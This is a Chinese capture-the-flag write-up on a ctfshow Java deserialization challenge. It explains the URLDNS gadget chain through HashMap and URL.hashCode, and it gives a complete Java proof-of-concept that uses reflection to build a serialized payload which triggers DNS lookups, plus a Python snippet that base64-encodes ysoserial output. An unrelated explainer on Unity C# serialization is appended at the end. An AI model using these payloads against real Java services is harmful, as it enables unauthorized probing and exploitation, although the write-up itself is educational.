CtfshowJava反序列化

 看到构造DNS查询,想到URLDNS利用链

这条链其实有两条,分别是URL和hashmap,下面详细说明

 URL下有hashcode方法,CTRL点击进入

 发现进入URLsteamhander,他的hashcode使用了getAddress,我们最终要做的就是调用getaddress,获取DNS解析

进入hashmap的readobject方法

 下拉发现调用了hash方法

 

 点击发现调用的是hashcode

 点击进入hashcode,发现是公共类

这里使用了重写的概念

重写是子类对父类可以访问方法的重新编写,返回值和形参都不能改变,外壳不变,核心重写,子类对象赋值给父类使用,但是不能访问在子类特有的方法

调用hashmap最后调用的是url的hashcode方法,在最后调用getaddress

下面附上POC

package Serialize;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class URLDNS {
    public static void serialize(Object obj) throws IOException{
        ByteArrayOutputStream data =new ByteArrayOutputStream();
        ObjectOutput oos =new ObjectOutputStream(data);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
        System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
    };
    public static void main(String[] args) throws Exception{
        URL url=new URL("http://c1161cd4-e370-4b4a-a6b0-2107fcb148ef.challenge.ctf.show");
        /*
            public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }   初始化时hashcode=-1,h.put时调用了url的hashcode,hashcode不等于-1,需要通过反射修改hashcode
         */
        Class<?> c=url.getClass();
        Field hashcode=c.getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        //修改成员变量
        hashcode.set(url,1);
        HashMap<URL,Integer> h = new HashMap<URL,Integer>();
        h.put(url,1);
        hashcode.set(url,-1);
        serialize(h);
        //URL
        //HashMap
    }
}

上面还使用了反射的概念

这里的初始值是-1,只有为-1才能传数据

 

 

 

 可以看到,put的时候调用了hashcode,不是-1了

使用反射修改值改回-1,就可以反序列化了

 

输入题目的url

 

 

得到payload

POST提交数据

 excute得到payload

 

 ysoserial工具

import base64

with open('payload.bin', 'rb') as file:
    binary_data = file.read()
    encoded_data = base64.b64encode(binary_data)

with open('encoded_payload.txt', 'wb') as file:
    file.write(encoded_data)

二进制需要base64编码,Linux可以直接编码

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Unity中的序列化(Serialization)是指将对象转换为字节流的过程,而反序列化(Deserialization)则是将字节流转换为对象的过程。Unity提供了一些机制来实现对象的序列化和反序列化。 Unity的序列化机制主要用于保存和加载游戏对象的状态,或者在网络传输中传递对象。以下是一些常见的序列化和反序列化方法: 1. Unity的内置序列化:Unity提供了内置的序列化机制,使得你可以将脚本中的变量标记为可序列化。通过在变量前面添加 `[SerializeField]` 属性,可以将该变量标记为可序列化。例如: ```csharp [SerializeField] private int score; ``` 2. XML 和 JSON 序列化:Unity还支持使用XML或JSON格式进行序列化和反序列化。你可以使用 `System.Xml.Serialization` 命名空间下的类来进行XML的序列化和反序列化,或者使用JsonUtility类来进行JSON的序列化和反序列化。 ```csharp // XML序列化和反序列化示例 using System.Xml.Serialization; // 序列化为XML XmlSerializer serializer = new XmlSerializer(typeof(MyClass)); using (StreamWriter writer = new StreamWriter("data.xml")) { serializer.Serialize(writer, myObject); } // 从XML反序列化 using (StreamReader reader = new StreamReader("data.xml")) { MyClass myObject = (MyClass)serializer.Deserialize(reader); } // JSON序列化和反序列化示例 using UnityEngine; using UnityEngine.Networking; // 序列化为JSON string json = JsonUtility.ToJson(myObject); // 从JSON反序列化 MyClass myObject = JsonUtility.FromJson<MyClass>(json); ``` 3. 二进制序列化:如果需要更高效的序列化和反序列化操作,可以使用二进制格式。Unity提供了BinaryFormatter类来进行二进制的序列化和反序列化。 ```csharp // 二进制序列化和反序列化示例 using System.Runtime.Serialization.Formatters.Binary; // 序列化为二进制 BinaryFormatter formatter = new BinaryFormatter(); using (FileStream stream = new FileStream("data.bin", FileMode.Create)) { formatter.Serialize(stream, myObject); } // 从二进制反序列化 using (FileStream stream = new FileStream("data.bin", FileMode.Open)) { MyClass myObject = (MyClass)formatter.Deserialize(stream); } ``` 这些是Unity中常用的序列化和反序列化方法,你可以根据具体的需求选择适合的方法来实现对象的序列化和反序列化

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